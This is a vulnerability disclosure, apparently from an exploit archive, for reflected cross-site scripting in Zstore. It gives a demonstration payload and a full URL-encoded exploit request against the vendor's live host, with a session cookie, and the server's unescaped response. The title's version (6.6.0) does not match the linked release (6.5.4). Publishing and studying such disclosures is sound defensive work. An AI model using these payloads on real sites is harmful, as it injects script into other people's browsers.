Zstore 6.6.0 Cross Site Scripting

## Title: zstore-6.6.0 - XSS-Reflected## Development: nu11secur1ty## Date: 01.29.2023## Vendor: https://zippy.com.ua/## Software: https://github.com/leon-mbs/zstore/releases/tag/6.5.4## Reproduce: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/zippy/zstore-6.5.4## Description:The value of manual insertion `point 1` is copied into the HTMLdocument as plain text between tags.The payload giflc<img src=a onerror=alert(1)>c0yu0 was submitted inthe manual insertion point 1.This input was echoed unmodified in the application's response.## STATUS: HIGH Vulnerability[+] Exploit:```GETGET /index.php?p=%41%70%70%2f%50%61%67%65%73%2f%43%68%61%74%67%69%66%6c%63%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%79%6f%75%74%75%62%65%2e%63%6f%6d%2f%77%61%74%63%68%3f%76%3d%6d%68%45%76%56%39%51%37%7a%66%45%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%74%65%6e%6f%72%2e%63%6f%6d%2f%2d%4b%39%73%48%78%58%41%62%2d%63%41%41%41%41%43%2f%73%68%61%6d%65%2d%6f%6e%2d%79%6f%75%2d%70%61%74%72%69%63%69%61%2e%67%69%66%22%3e%0aHTTP/2Host: store.zippy.com.uaCookie: PHPSESSID=f816ed0ddb0c43828cb387f992ac8521; last_chat_id=439Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://store.zippy.com.ua/index.php?q=p:App/Pages/MainAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9```[+] Response:```HTTP/2 200 OKServer: nginxDate: Sun, 29 Jan 2023 07:27:55 GMTContent-Type: text/html; charset=UTF-8Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheX-Ray: p529:0.010/wn19119:0.010/wa19119:D=12546Class \App\Pages\Chatgiflc<ahref="https:\\www.youtube.com\watch?v=mhEvV9Q7zfE"><imgsrc=https:\\media.tenor.com\-K9sHxXAb-cAAAAC\shame-on-you-patricia.gif"> does not exist<br>82<br>/home/zippy00/zippy.com.ua/store/vendor/leon-mbs/zippy/core/webapplication.php<br>```## Proof and Exploit:[href](https://streamable.com/aadj5c)## Reference:[href](https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected)